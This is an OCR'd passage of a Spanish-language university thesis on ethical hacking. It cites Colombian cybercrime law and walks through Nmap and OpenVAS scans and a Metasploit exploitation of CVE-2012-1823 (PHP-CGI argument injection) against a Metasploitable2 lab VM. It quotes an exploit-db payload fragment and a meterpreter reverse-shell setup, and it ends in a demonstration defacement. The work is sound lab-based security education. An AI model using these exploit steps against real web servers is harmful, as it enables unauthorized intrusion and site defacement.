reforma a la Ley 599 de 2000 (Codigo Penal), la modificacién tiene como fin
adicionar bajo el titulo denominado de la Proteccion de la Informacion y de los
Datos, se traté de un bien juridico necesario teniendo en cuenta la era de la
trasformacion digital, en ella se establece nuevas conductas penales tipificadas
como delitos informaticos y proteccién de la informacion.

Se pueden evidenciar en la norma en el titulo de la Proteccién de la Informacion y
de los datos, en su capitulo 1, atentados contra la confidencialidad, la integridad y
la disponibilidad de los datos y de los sistemas informaticos, asi:

e Articulo 269A: Acceso abusivo a un sistema informatico.

Articulo 269B: Obstaculizaciéon ilegitima de sistema informatico o red de
telecomunicacion.

Articulo 269C: Interceptacion de datos informaticos.

Articulo 269E: Uso de software malicioso.

Articulo 269D: Dafio Informatico.

Articulo 269F: Violacién de datos personales.

% ZULUAGA MATEUS, Allen Davi. hacking ético basado en la metodologia abierta de testeo de seguridad — OSSTMM,
aplicado a la Rama Judicial, seccional Armenia. Armenia, 2017, 15p. Trabajo de investigacion (Especialista en Seguridad
Informatica) Universidad Nacional Abierta y a Distancia. Escuela de Ciencias Basicas Tecnologia e Ingenieria

26 FLOREZ ROJANO, Jorge Alonso. Metodologia para realizar hacking ético en bases de datos para Positiva Compafia de
Seguros S.A. en la ciudad de Bogota. Bogota, 2018, 16p. Trabajo de investigacion (Especialista en Seguridad Informatica)
Universidad Nacional Abierta y a Distancia. Escuela de Ciencias Basicas Tecnologia e Ingenieria

27 Colombia. Congreso de la Republica. Ley 1273. (5, enero, 2009). Por medio de la cual se modifica el Cédigo Penal, se
crea un nuevo bien juridico tutelado - denominado "de la proteccion de la informacién y de los datos"- y se preservan
integralmente los sistemas que utilicen las tecnologias de la informacion y las comunicaciones, entre otras. Diario oficial.
Bogota, D.C., 2009. No. 47223. pl).

41



e Articulo 269G: Suplantacién de sitios web para capturar datos personales.
e En el capitulo Il de los atentados informaticos y otras infracciones, asi:

e Articulo 269I: Hurto por medios informéticos y semejantes.

e Articulo 269J: Transferencia no consentida de activos

4.4.2 Ley 599 de 2000%. Por la cual se expide el Cédigo Penal.

4.4.3 Ley Estatutaria 1581 de 20122°. Por la cual se dictan disposiciones
generales para la proteccion de datos personales.

4.4.4 Decreto 1151 de 2008%°. Por el cual se establecen los lineamientos
generales de la Estrategia de Gobierno en Linea de la Republica de Colombia, se
reglamenta parcialmente la Ley 962 de 2005 y se dictan otras disposiciones.

4.45 Ley estatutaria 1266 de 20083!. Por la cual se dictan las disposiciones
generales del habeas data y se regula el manejo de la informacién contenida en
bases de datos personales, en especial la financiera, crediticia, comercial, de
servicios y la proveniente de terceros paises y se dictan otras disposiciones

4.4.6 Constituciéon Politica de Colombia®2. Proteccién a la propiedad intelectual -
Articulo 61. El Estado protegera la propiedad intelectual por el tiempo y mediante
las formalidades que establezca la ley.

2 Colombia. Congreso de la Republica. Ley 599. (24, julio, 2000). Por la cual se expide el Cddigo Penal. Diario oficial.
Bogota, D.C., 2000. No. 44097. p1.

2% Colombia. Congreso de la Republica. Ley 1581. (17, octubre, 2012). Por la cual se dictan disposiciones generales para la
proteccion de datos personales. Diario oficial. Bogot4, D.C., 2012. No. 48587. p1.

30 Ministerio de Tecnologias de la Informacién y las Comunicaciones “Decreto 1151 de 2008". {En linea}. {6 octubre de
2018} disponible en: (https://www.mintic.gov.co/portal/604/articles-3643_documento.pdf).

31 Secretaria General de Senado Colombiano “Ley Estatutaria 1266 de 2008". {En linea}. {6 octubre de 2018} disponible
en:(http://www.secretariasenado.gov.co/senado/basedoc/ley_1266_2008.html).

32 Secretaria General de Senado Colombiano “Constitucion Politica de Colombia - Articulo 61”. {En linea}. {6 octubre de
2018} disponible en: (http://www.secretariasenado.gov.co/senado/basedoc/constitucion_politica_1991.html).
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5 DISENO METODOLOGICO

5.1 UNIDAD DE ANALISIS

El presente proyecto aplicado toma como unidad de andlisis al caso estudio del
entorno virtual Metasploitable, evaluando los riegos de enfoque de seguridad
informética en los sistemas informéaticos del caso de estudio.

5.2 POBLACION

El proyecto aplicado se centra en los sistemas informaticos de andlisis del caso
estudio del entorno virtual Metasploitable.

5.3 MUESTRA

En el proyecto aplicado no se determina una muestra especifica, debido a que se
debe trabajar con la totalidad de la poblacion objeto de investigacion (Sistemas
Informaticos).

5.4 METODOS DE RECOLECCION DE LA INFORMACION

La finalidad es encontrar informacion suficiente para desarrollar las pruebas de
Pentesting al caso de estudio del entorno virtual Metasploitable, que conlleven a
garantizar la gestion de la seguridad de la informacién en términos de politicas de
confidencialidad, integridad y disponibilidad.

5.5 INSTRUMENTOS DE RECOLECCION DE INFORMACION

La recoleccion de informaciéon en el desarrollo del proyecto aplicado del caso de
estudio se basd en el empleo de los sistemas operativos Kali Linux y Linux
Metasploitable, los cuales disponen de diferentes servicios informaticos.

5.6 TECNICAS DE RECOLECCION DE INFORMACION

El proyecto aplicado tiene como propuesta la realizacion de pruebas de Pentesting
al caso de estudio del entorno virtual Metasploitable, empleando las siguientes
herramientas y técnicas:

e Listas de chequeo: Buscan determinar los diferentes controles de seguridad
informatica existentes en los sistemas informaticos del caso estudio.

e Pruebas de Penetracion: Realizacion de auditorias de seguridad informatica
gue conlleven a la recopilacion de informacién, identificacion y explotacion de
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vulnerabilidades, garantizando un entorno seguro a través de la
implementacion de politicas de seguridad informatica en los sistemas
informaticos

5.7 DESARROLLO METODOLOGICO

El proyecto aplicado del caso de estudio del entorno virtual Metasploitable es de
enfoque cuantitativo, se intenta evaluar los niveles de seguridad de la informacién
a través del desarrollo de auditoria informatica cefiida a las metodologias Web
Application Security Project — OWASP, Information Systems Security Assessment
Framework — ISSAF y Open Source Security Testing Methodology Manual -
OSSTMM, dichas metodologias de hacking ético permite el analisis, deteccion y
explotacion de vulnerabilidades de seguridad informatica, a través de la
implementacion de herramientas que permiten generar un ambiente controlado de
Pentesting.

Asimismo, es exploratoria, descriptiva y explicativa, las metodologias de hacking
ético respaldan la realizacion exploratoria del planteamiento del proyecto aplicado
a través del andlisis de aquellos incidentes de seguridad informética, por medio de
métodos establecidos para el reconocimiento de vulnerabilidades légicas
relacionadas con debilidades en los sistemas y servicios del caso de estudio del
entorno virtual Metasploitable. Descriptiva, en razén que se busca documentar los
andlisis de la identificacion y explotacion de vulnerabilidades informéticas.
Explicativa, debido a que se describen técnicamente la finalidad del Pentesting
como al igual se relacionan de manera individual la descripcibn de cada
vulnerabilidad explotada.
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6 DESARROLLO DE LOS OBJETIVOS

6.1 DISENO AMBIENTE DE PRUEBAS DE PENTESTING

6.1.1 Requisitos Pentesting. Se implementa un ambiente de pruebas enfocado al
desarrollo de una auditoria de seguridad informatica a través del software Oracle
VM VirtualBox, disponiendo de (02) dos maquinas virtuales con los sistemas
operativos Kali Linux y el proyecto Metasploitable (Linux). EL objetivo del
Pentesting tiene como finalidad la ejecucion de las fases de auditoria de seguridad
informatica como lo es: identificacion de informacién, reconocimiento de
vulnerabilidades, explotacion de estas e informe de recomendacion y politicas de
seguridad informética en los sistemas del caso de estudio del entorno virtual
Metasploitable.

6.1.2 Requisitos de los sistemas operativos. A continuacion, en la tabla 1 se
presenta la descripcién y versiones de los sistemas operativos necesarios para
cumplir con el escenario propuesto

Tabla 1. Requisitos Sistemas Operativos.

Software Version Descripcién

Sistema operativo de ndcleo Linux (Maquina
Metasploitable 2 2 virtual) el cual se implementara auditoria de
seguridad informatica.
Sistema operativo como maquina virtual

Kali Linux 1.1.0a destinado a la implementacion de pruebas
de ataque (Pentesting).
Windows 10 Pro Sistema operativo empleado como anfitrion

Fuente: Propiedad del autor.

6.1.3 Requisitos software. En la tabla 2 se evidencian las aplicaciones
informaticas necesarias para cumplir con la actividad:

Tabla 2. Requisitos de Software.
Utilidad Descripcién
Apache?2 (Version 2.4.29)
Servidor Damn Vulnerable Web Application

Metasploitable
Metasploit
Chrome

OpenVAS
Iptable

Herramienta

Fuente: Propiedad del autor.
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6.1.4 Requisitos hardware. En la tabla 3 se contemplan los equipos de cémputo
requeridos para cumplir con el escenario propuesto:

Tabla 3. Requisitos hardware.

Especificacion Equipo 1 Equipo 2

Marca Lenovo Aspire
Modelo ldea320 A315-51
Tipo Portatil Portatil
Procesador AMD A12-9720P 3.6GHz 4C i3-6006U
Memoria RAM 32GB 8 GB
Disco duro 1 Tera 500 GB

Fuente: Propiedad del autor
6.2 ESCENARIO PROPUESTO DEL CASO DE ESTUDIO

Ataque Defacement. La organizacion de apoyo para delitos informaticos de
Colombia “OADI” se encuentra tratando un tema sobre delitos informaticos en
territorio nacional donde se indica una aparente actuacion por parte de Black-
Hackers contratados en la Deep web. OADI requiere analizar el método de
intrusion y los pasos que siguieron los Black-Hackers. Se tiene en cuenta por
ahora que el ataque inici6 en la ciudad de Bogota el 01 de julio de 2018, la sede
que fue atacada cuenta con una DMZ en su estructura de red la cual es bastante
limitada en recursos T.I como se muestra en la Figura. 2. Se observa que el
ataque fue al servidor web del caso de estudio.

Figura 2. DMZ sede principal (Caso de estudio).

Fuente: Especializacién en SegurldadlnformatlcaUNAD

46



6.3 VIRTUALIZACION E INSTALACION KALI LINUX

En la figura 3 se puede evidenciar el empleo de la maquina virtual con el sistema
operativo Kali Linux la cual tiene la IP privada 192.168.1.109 y mascara de
subneting 255.255.255.0, dicho host actuara como maquina atacante el cual fue
actualizado a través de “apt-get update” y “apt-get upgrade”.

Figura 3.Kali Linux (Virtualizado)
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Fuente: Propiedad del autor

6.4 VIRTUALIZACION E INSTALACION DE METASPLOITABLE

En la figura 4 se puede contemplar el empleo de la maquina virtual con el sistema
operativo Linux 2.6 (Metasploitable) la cual tiene la IP privada 192.168.1.108 y

mascara de subneting 255.255.255.0, dicho host actuard como maquina victima
(Caso de estudio).
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Figura 4. Metasploitable2 (Virtualizado)
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Fuente: Propiedad del autor
6.5 IMPLEMENTACION DEL PENTESTING

Realizacion de auditoria de seguridad informatica al caso de estudio a través del
proceso sistematizado como lo es la fase de reconocimiento, fase andlisis de
vulnerabilidades, fase de explotacion y fase de informe (Politicas de Seguridad).

6.5.1 Fase de reconocimiento. Corresponde a la identificacién del host a auditar,
en esta fase se acuira Unicamente a la herramienta NMAP, la cual se trata del
acronimo de Network Mapper, que sin lugar a dudas es una poderosa herramienta
de seguridad informatica con licencia GPL (General Public Licence), desarrollado
por el experto en seguridad informatica Gordon Lyon, su finalidad es realizar
auditorias de seguridad en una red TCP/IP con el propésito de descubrir los host
gue se encuentran disponibles (Online), como al igual los servicios con detalles
especificos, reconocimiento de sistemas operativos, evaluacion de cortafuegos,
asimismo, dispone de técnicas de evasién de detencion de intrusos y cortafuegos,
identificacion de vulnerabilidades, entre otros.

Dispone del envio de paquetes de tipo SYN, ACK, NULL, XMAS y FIN, los cuales
son dirigidos a determinados puertos (TCP y UDP) y estos responderan a dichas
peticiones, a partir de esas respuestas Nmap los interpretara y mostrar en pantalla
los resultados. Zenmap es el intérprete grafico el cual dispone de las mismas
caracteristicas, aunque es recomendable el empleo a partir de consola de
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comandos, pues permite tener mayor control sobre la actividad que se esta

efectuando.

La estructura para ejecutar los determinados comandos en Nmap es de la

siguiente manera, asi:

#nmap [Tipo de escaneo] [Opciones] [Objetivo(s)]

#nmap -A -T4 8.8.8.8

#nmap -sV -p 22,53,110, 192.168.0.1/24

En la tabla 4 se evidencian los principales comandos de la herramienta Nmap,
relacionando la funcion y descripcién de cada uno de ellos, asi:

Tabla 4. Comandos béasicos Nmap.

Funcién Comando Descripcién
-Pn No ping
-sL List Scan
-sn Ping Sweep

o -PR Ping ARP

Reconocimiento -PS Ping TCP SYN

Host -PA Ping TCP ACK
-PU Ping UDP
-PM Ping ICMP
-PO IP Protocol Ping
-PE Ping ICMP Echo
-sT Connect
-SS SYN Stealth
-sU UPD Scan
-sA TCP ACK
-sN TCP NULL

. -sF TCP FIN

(F?S:‘ﬁ:)vsamon de -sX XMas Scan
-sO IP Protocol
-sl Idle Scan (IP Zombi)
-sM TCP Maimon
-sW TCP Window
--scanflags TCP Personal.
-sY SCTP INIT
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Tabla 4. (Continuacién).

Funcion Comando Descripcion
-p Rango puerto
-r Orden secuencial
-sV Descubrir versiones
-O Descubrir SO
-f Fragmentar
Otros
-S “IP” Falsificar IP
-g “puerto” Falsificar puerto
-T (0-5) Plantilla tiempos
--script Empleo script
-A Andlisis agresivo

Fuente: Propiedad del autor

Con Nmap también es posible efectuar escaneo de vulnerabilidad a través de la
opcion Nmap Scripting Engine — NSE, aunque se recomienda disponer de otras
herramientas mas completas para realizar escaneo de vulnerabilidades como
Nessus, OpenVAS, Retina, entre otros. La siguiente estructura permite efectuar el
escaneo de vulnerabilidades:

#Nmap [Tipo de escaneo] [Opciones] [Objetivo(s)] --script=vulnerabilidad
# nmap -n -Pn 8.8.8.8 -p- --script=vuln

Entre los parametros que se implementan en el comando — script, se encuentra
Auth (Todos script), Default (Script Basic), Discovery (Informacion obijetivo),
Intrusive (Script intrusivos), Malware (Conexiones abierta por dichos software
maliciosos), Safe (Script no intrusivos), Vuln (Descubrimiento vulnerabilidades
distinguidas), All (Ejecutar todos script NSE).

En la figura 5 se contempla el uso de la herramienta NMAP en la maquina virtual
con el sistema operativo Kali Linux, se dispuso del parametro “nmap -sn
192.168.1.0/24”, dicha opcion permite efectuar un analisis de host para averiguar
cuales se encuentran disponibles en la subred, dicho resultado corrobora que hay
(15) cinco hosts.
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Figura 5. Nmap — Reconocimiento equipos en la red local.
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Por su parte, en la figura 6 se evidencia el uso de la herramienta NMAP en la
maquina virtual con el sistema operativo Kali Linux, se dispuso del parametro
‘nmap -sV 192.168.1.109”, dicha opcidén permite efectuar un analisis de servicios
y versiones que tiene el host (Metasploitable2) con la IP privada 192.168.1.109, se
puede corroborar que hay (23) veinte tres servicios.
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Figura 6.Nmap - Reconocimiento de servicios y versiones
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6.5.2 Fase analisis de vulnerabilidades. A partir de la informacién recolectada en
la anterior etapa, se continua con el descubrimiento de vulnerabilidades en el host
a auditar, se puede disponer de herramientas que automatizan el proceso de
busqueda de debilidades como Nessus, OpenVAS, Retina, Acunetix y hasta el
mismo NMAP, también se podria realizar de manera manual con el fin de tener
mayor control sobre la actividad que se esté efectuando.

OpenVAS es una poderosa herramienta de seguridad informatica multiplataforma
(Windows, Linux, Solaris, etc.), sus caracteristicas la han posicionado como una
de las mejores a nivel internacional, es un escaner de vulnerabilidades cuyo
objetivo es identificar las debilidades de sistemas y servicios, como al igual
descubrir incidentes a causa de configuraciones erroneas que pueden ser
explotadas por delincuentes informaticos y comprometer la seguridad de los
sistemas.

OpenVAS tiene la particularidad de garantizar la implementacion de acciones de
control, disuasion y prevencion de ataques informaticos, ya que brinda informacion

52



sobre los métodos y/o técnicas para explotar las vulnerabilidades como al igual la
manera de garantizar la proteccion ante esas amenazas.

En la figura 7 se muestra la pagina de autenticacion y acceso a OpenVAS en la
maquina virtual con el sistema operativo Kali Linux, el proceso de instalacion se
efectué a través de Sistema de Gestion de Paquetes empleado la siguiente
secuencia de comandos, asi:

root@kali:~# sudo apt-get install openvas

root@kali:~# openvas-setup

root@kali:~# openvas-start

root@kali:~# openvasmd --create-user root

root@kali:~# openvasmd --user=root --new-password=password

Figura 7.0penVAS — Pagina de autenticacion
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Fuente: Del autor

Hay que tener presente que durante la instalacion posiblemente se evidencien
falencias, para corroborar las mismas se puede acudir al comando “openvas-
check-setup”, una vez instalado se dispone de un explorador de web para
acceder a “https://127.0.0.1:9392".

53



En las configuraciones predeterminadas del asistente de OpenVAS, se debe
registrar la IP del host (Maquina a auditar) al cual se realizara el analisis de
vulnerabilidades, seguido de la implementacion de los paramentos necesarios
para la gestion de escaneo de vulnerabilidades.

En la figura 8 se puede evidenciar los diferentes resultados del proceso de
descubrimiento de vulnerabilidades con OpenVAS, observando que las ordena de
acuerdo a su prioridad, desde alta con (13) trece hallazgos, media con (21)
veintitin hallazgos, baja con (03) tres hallazgos y de informacion con (65) sesenta
y cinco hallazgos.

Figura 8. Reporte de vulnerabilidades halladas con OpenVAS.
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Una vez se dispuso de la politica con escaneo avanzado y profundo con el nombre
“Metasploitable2” al objetivo con IP privada “192.168.1.109”. En la figura 9 se
observa el resultado individualizado de cada hallazgo, como es la descripcion
detallada de la vulnerabilidad, severidad, puerto localizado, concepto técnico de la
vulnerabilidad, tipo de solucion, accidon concerniente a la solucién, método de
detencion de vulnerabilidad, referencias, fecha deteccion de vulnerabilidad,
servicio vulnerable, version del recurso solucionado (Parche), etc.

Evidenciando servicios con alto nivel de riesgos que pueden ser comprometidos
(Explotados).
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Figura 9. Identificacion de vulnerabilidades halladas con OpenVAS.
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Fuente: Del autor

6.5.3 Fase explotacidon de vulnerabilidades. Considera la fase mas interesante y
ardua, debe ser realizada con rigor por parte del auditor en seguridad informética,
la finalidad es comprometer la seguridad del sistema a través de técnicas,
habilidades y destrezas intrinsecas del profesional. Se efectia gracias a la
informacion aportada por las anteriores fases, en el presente proyecto aplicado se
resaltard el empleo de la herramienta Metasploit.

Para comprender el potencial del software Metasploit es necesario entender
algunos conceptos de seguridad informética, la gran mayoria de los ataques
informaticos de la actualidad aprovechan fallas de disefio o bugs en los diferentes
programas informaticos, una aplicacion informatica es un producto intelectual
efectuado por el ser humano, el cual esta propenso a errores en las diferentes
etapas del ciclo de vida, en ese orden de ideas se brinda un software
posiblemente fiable pero no seguro. Por fiable se entiende aquello que deberia
hacer de acuerdo a instrucciones en su disefio, por lo contrario, cuando se trata de
un software seguro tiene el adicional que realiza lo que debe hacer y nada mas, es
decir, no permite realizar otras acciones que no son finalidad para lo cual fue
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escrito, pero la realidad es que la gran mayoria de las veces habra brechas que
comprometen la seguridad.

Cuando se habla de bug se refiere a un rendimiento fallido en el disefio del
software que en muchos casos pueden ser subsanados en cualquier etapa a
través de parches, aunque existe el termino 0-Day el cual corresponde aquella
vulnerabilidad no publicada y bajo reserva, impidiendo ser conocida por
comunidades de seguridad informatica o por la misma casa desarrolladora del
software, de esa manera se trata de un recurso con alto nivel de riesgo que puede
ser comprometido.

Por su parte, un Exploit es un algoritmo generalmente disefiado en el lenguaje de
programacion C, Pythong, Java, Ruby, Ensamblador, entre otros, cuya intencion
es la explotacion de aquella vulnerabilidad identificada (Bug), ya sea una
denegacion del servicio, control de acceso remoto, reconocimiento de informacion,
captura de datos, entre otras.

Para que el Exploit sea efectivo necesita de un Payload en algunos casos, el cual
se trata de una instruccion de codigo inmersa en el mismo, cuya finalidad es ser
ejecutado en la maquina a auditar. Es decir, a través del Exploit el Payload puede
ser ejecutado en la maquina objeto del Pentesting, por lo general se trata de una
Shell inversa, Bind Shell, secuencia de instrucciones pretermitas a ser ejecutadas
en la maquina victima, etc.

Metasploit es una insignia referente a la implementacion de un Pentesting, su
arquitectura se basa en tres grandes pilares, como son las librerias, interfaces y
moédulos, dispone de unos (06) seis modulos que dan el potencial a esta
herramienta, se trata de aquel nucleo central que da funcionalidad al Metasploit
Framework, se pueden encontrar los médulos de Payloads, Exploits, Encoderes,
Nops, Auxiliary y Post.

Es de cddigo abierto escrito en Ruby, dispone de (03) tres versiones que son
Community Edition, Profesional y Express. Es un Framework Pentesting con
varias funcionalidades empleadas por expertos en seguridad informética para
realizar los diferentes procesos del test de intrusiébn como lo es la recoleccién de
informacion, escaneo de vulnerabilidades, explotacibn y post-explotacion.
Metasploit Framework es un subproyecto que dispone de varios modulos
destinados a garantizar el mayor provecho. Las interfaces de Metasploit son la
interfaz grafica a través de Armitage y la web Ul, por su parte, mediante la linea de
comandos se realiza con el comando msfconsole y msfcli.

Las herramientas del Framework contienen funcionalidades especificas que no

requieren cargar el entorno completo, a travées de Msfpayload se relaciona con los
Shellcodes, igualmente con Msfencode se vincula con los métodos para el
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encubriendo ante programas de seguridad como son los IDS, antivirus, entre
otros.

Msfvenom se asocia a unificar los instrumentos Msfencode y msfpayload, con
MSfpescan y Msfelfscan se puede escanear ficheros en Windows (Ejecutables o
DLL) y Linux (ELF) para hallar instrucciones de codigo maquina, asimismo con el
uatil elemento Msfrop es posible mitigar los efectos de Data Execution Prevention
con Return-Oriented Programming, Por ultimo Msfd es una herramienta parecida
al famoso software Netcat. Es valido mencionar que es posible automatizar el
proceso de explotacion con el reporte generado por Nessusu OpenVASS, ya que
brindard informacion sobre aquellos Exploit que puede explotar las
vulnerabilidades descubiertas. En la tabla 5 se evidencian los principales
comandos de la herramienta Metasploit, relacionando descripcion de cada uno de

ellos, asi:

Tabla 5. Comandos basicos Metasploit.

Comando  Descripcion
Help Listado comandos disponibles
Search Busqueda de mobdulos de acuerdo a los
paramentos establecidos.
Info Brindar informacion sobre el modulo establecido.
Show Brindar las opciones disponibles del médulo.
Use Seleccion de un modulo.
Set Realizar configuraciones en las opciones del
modulo.
Setg Realizar configuracion en la opcién del médulo
(Variable global)
Unset Desasignar la configuracién en las opciones del
modulo.
Unsetg Desasignar la configuracion en las opciones del
modulo (Variable global)
connect Iniciar conexion remota.
Irb Interpreter de Ruby (Disefio script en caliente)
Load Carga un parametro (Plugin)
Exploit Lanza el Exploit (Con parametros previamente
configurados)
Sessions  Listas las sesiones disponibles después de
comprometer el sistema, tiene varios parametros
Resource  Cargar un fichero.
Makers Fichero de historial.
Save Da persistencia a la labor de Pentesting.
Jobs Exhibe los médulos cargados en segundo plano.
run Ejecucion de un modulo auxiliary

Fuente: Del autor.

57



6.5.3.1 Prueba de Concepto 1 — CGI-PHP. De acuerdo a la informacién
suministrada en el reporte de vulnerabilidades de OpenVAS se contempla una
vulnerabilidad con severidad alta relacionado con la divulgacién de informacion,
permitiendo ver el codigo fuente de archivos como también ejecutar cédigo PHP
en una configuracion basada en CGI. Dicha vulnerabilidad corresponde a las
configuraciones basadas en PHP-CGI al analizar los parametros de cadena de
consulta de los archivos PHP. El Sistema de Puntuacion de Vulnerabilidad Comun
— CVSS le da una valoracion de 7.5 puntos (Vulnerabilidad alta).

En la figura 10 se evidencia el resultado detecciéon de la vulnerabilidad, se
contempla que el riesgo de seguridad informatica se presenta al recibir un
parametro de cadena de consulta procesada a través de la linea de comandos,
dando un ejemplo concerniente al pardmetro (-s) que permite la salida de la fuente
en sintaxis HTML resaltada, en el siguiente patron es posible ver el codigo fuente
del archivo index.php, asi:

http://localhost/index.php?-s
Asimismo, comunica la manera para subsanar la vulnerabilidad (PHP versiones

5.4.3 y 5.3.13 realizar actualizaciones) y las referencias relacionadas con la
vulnerabilidad (CVE-2012-1823).

Figura 10. Reconocimiento vulnerabilidad PHP-CGI por OpenVASS
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Fuente: Del autor
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http://localhost/index.php?-s

En la figura 11 se observa el empleo del explorador web Iceweasel en la maquina
virtual con el sistema operativo Kali Linux (Maquina atacante), se accede al
servicio web bridado por el Apache de la maquina a auditar, posteriormente a la
herramienta de administracion de bases de datos MySQL a través de paginas web
como lo es phpMyAdmin.

En la barra de direcciones se agrega el parametro
“192.168.1.109/phpMyAdmin/?-s” (Opcidon —S en php-cgi), de esta manera es
posible corroborar la vulnerabilidad PHP-CGI brindando el codigo fuente de
aquellos sitios web vulnerables. Asimismo, también es posible la ejecucién de
codigos remotamente a través de la opcion “-d”.

Figura 11. Reconocimiento manual vulnerabilidad CGl
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Fuente: Del autor.

En la figura 12 se evidencia la informaciébn aportada por la herramienta
Vulnerability & Exploit Database respeto a CGI PHP hasta la version 5.3.12 y
5.4.2, comunicando de una vulnerabilidad de inyeccion de argumento. Fuente -
https://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection.

Esta accion se efectla de acuerdo a los datos arrojados por OpenVASS en las

referencias la vinculada con la vulnerabilidad de seguridad informética conocida
como CVE-2012-1823
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https://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection

Figura 12. Investigacion de la vulnerabilidad CGI, PHP (V 5.3.13y 5.4.2)
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Fuente: Del autor

Asimismo, se puede contemplar el nombre del médulo en Metasploit, los autores,
referencias, tipo de objetivo, plataforma, arquitectura, clase de confidencialidad,
como al igual las opciones del modulo para explotar dicha vulnerabilidad como se
evidencia en la figura 13.

Figura 13. Opciones del médulo exploit/multi/http/php_cgi_arg_injection

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced":

sf > use exploit/multi/http/php _cgi arg injection
st exploit( ) > show targets

st exploit( ) > set TARGET <target-id>
st exploit( ) > show options

st exploit( ) > exploit

Fuente: Del autor
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En la figura 14 se observa la informacién brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad en
CGI PHP hasta la version 5.3.12 y 5.4.2 (CVE: CVE-2012-1823) en Metasploit.
Fuente - https://www.exploit-db.com/exploits/18836/

Figura 14. Investigacion Exploit vulnerabilidad CGI, PHP (V 5.3.13 y 5.4.2)
¢

PHP < 53.12 / < 54.2 - CGI Argument Injection - Google Chrome = | & | =

C | @ Esseguro | hitpsy//www.exploit-db.com/exploits/ 15836, w

EXPLOIT » ) ,
Home Exploits Shellcode Papers Google Hacking Database Submit Search
DATABASE B

PHP <5.3.12 / < 5.4.2 - CGI Argument Injection

EDB-ID: 18836 Author: rayhdc Published: 2012-05-05

CVE: CVE-2012-1823..  Type: Remote Platform: PHP

E-DB Verified: & Exploit: & Download / View Raw

Vulnerable App: N/A

Previous Exploit Next Exploit »

# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012

# Author: rayh4c[ex4e]8@sec[0x2e]com

# Exploit Discovered by wofeiwo[ex4@]8@sec[@x2e]com

import socket
import sys
def cgi_exploit():
pun_code = “""<3php phpinfo();2>" "
post_Length = len(pun_code)
http_raw="""P0OST /?-dallow_url_includeX%3don+-dauto_prepend_fileX%3dphp://input HTTP/1.1

T L A SR AR T - T SV J0 T A Lt -
Fuente: Del autor

Por su parte para iniciar el proceso de explotacion de la vulnerabilidad se acude a
la herramienta Metasploit disponible en la maquina virtual con el sistema operativo
Kali Linux (Maquina atacante). En la linea de comandos se digita “msfconsole”
previo a la conexion al Sistema de Gestion de Bases de Datos PostgreSQL
“service postgresql start”.

En la figura 15 se observa la interface principal de Metasploit la cual dispone para
la fecha de 1081 Exploits, 608 Auxiliary, 177 Post, 288 Payloads, 29 Encoders y 8
nops. En esta pagina se puede ejecutar diferentes comandos relacionados con la
explotacion de vulnerabilidades
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Figura 15. Pantalla principal software Metasploit

root@Kali: ~

E] root@Kali: -

Fuente: Del autor

Con el fin de optimizar el proceso de busqueda de médulo destinado a la
explotacion de alguna vulnerabilidad se emplea el comando “search” afiadiendo
obligatoriamente el parametro relacionado con la vulnerabilidad, como por ejemplo
“search php_cgi”. Para obtener informacién sobre el médulo de la figura 13 se
acude al comando tal como se refleja en la figura 16.

Figura 16. Informacién de exploit/multi/http/php_cgi_arg_injection

root@IKali: ~

E root@Kali: -

Fuente: Del autor
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En la figura 17 se observa la configuracion actual del maddulo
“‘exploit/multi/http/php_cgi_arg_injection” en la herramienta Metasploit, se
muestra que se requiere registrar la direccion destino (Host a auditar), como
también dispone de parametros relativos al nivel bajo de codificacion URI (0) y el
puerto destino (80 HTTP).

Figura 17. Mddulo “exploit/multi/http/php_cgi_arg_injection”

ﬁ == >
Aplicaciones Lugares @ [ vie 9 de nov, 10:15

roct@Kali: ~

E root@Kali: -

Fuente: Del autor

En la figura 18 se evidencia la configuracion realizada al mddulo
“‘exploit/multi/http/php_cgi_arg_injection” en la herramienta Metasploit, se
muestra el registro de la direcciéon destino (Host a auditar), seleccién del Payload
‘php/meterpreter/reverse_tcp” se especifica la direccion local (Maquina
Atacante) y se evidencia el puerto local que escuchara el Payload.

Finalmente se efectia la explotacion obteniendo una sesion Meterpreter de
Metasploit (Interprete de comandos). Por Meterpreter se entiende como aquel
Payload ejecutado después del proceso de explotacién en un sistema operativo de
gran utilidad, se ejecuta en memoria como un proceso evadiendo en muchos
casos los sistemas de seguridad.
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Figura 18.0btencion de sesion Meterpreter

Aplicaciones Lugares ‘& [2) vie 9 de nov, 10:23

roct@Kali: ~

r Terminal Ayuda

6.24-16-server #1 SMP Thu Apr 10 1

Fuente: Del autor

Las secuencias de las figuras 19, 20, 21 y 22 permiten contemplar el listado de los
archivos y directorios en “/var/www”, alli se encuentra alojado el archivo
‘index.html” como parte del sitio web brindado por el servicio de Apache del
sistema Operativo Metasploitable2, asimismo, se muestra el algoritmo del archivo
citado de la pagina principal (Dominio accedido), posteriormente se agregan
cédigo HTML para materializar el Defacement como aquella actividad no
consentida ni autorizada que conlleva a la modificacién (Manipulacién) parcial de
un sitio web.

Finalmente, en la figura 23 se contempla el resultado de proceso de la
manipulacion del sitio web, el cual corresponde a Defacement del index.php, en el
que se consignoé los datos de nombres, apellidos e identificaciéon del autor del
presente proyecto aplicado, como la igual la fecha y hora en la que se efectud la
explotacion.
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Figura 19. Listado de archivos y directorios en /var/www

E o || =] B2

root@Kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

modified

mutilli
phpM;

Fuente: Del autor

Fi

ura 20. Sitio web (Index.php) del servicio Apache de Metasploitable2

ﬂ = || B ER

dom 11 de nov, 15:30

Metasploitable2 = Linux = lceweasel
File Edit View History Bookmarks Tools Help
Metasploitable2 - Linux -

s 192.168.1.109 - @B

9

Warning: Mever expose this VM to an untrusted network!|
Contact: msfdevlatlmetasploit.com

Login with nsfadmin/msfadnin to get started

3

T Metasploitable2 - Linu...

Fuente: Del autor
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Figura 21. Muestra archivo (var/www/index.php)

dom 11 de nov, 15:40

root@Kali: ~

chivo Editar Ver Terminal  Ayuda

E] root@kali:

Fuente: Del autor

Figura 22. Modificacion del archivo var/www/index.php (Defacement)

dom 11 de nov, 1
meterp20181111-3044-1qaq8xv + (ftmp) = VIM

Archivo Editar Ver Buscar Terminal Ayuda

(] meterp20181111...

Fuente: Del autor
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Figura 23. Sitio web modificado (Defacement a index.php) en Metasploitable2
Fa = |[= ==

dom 11 de nov, 16:01
Metasploitable2 - Linux - lceweasel
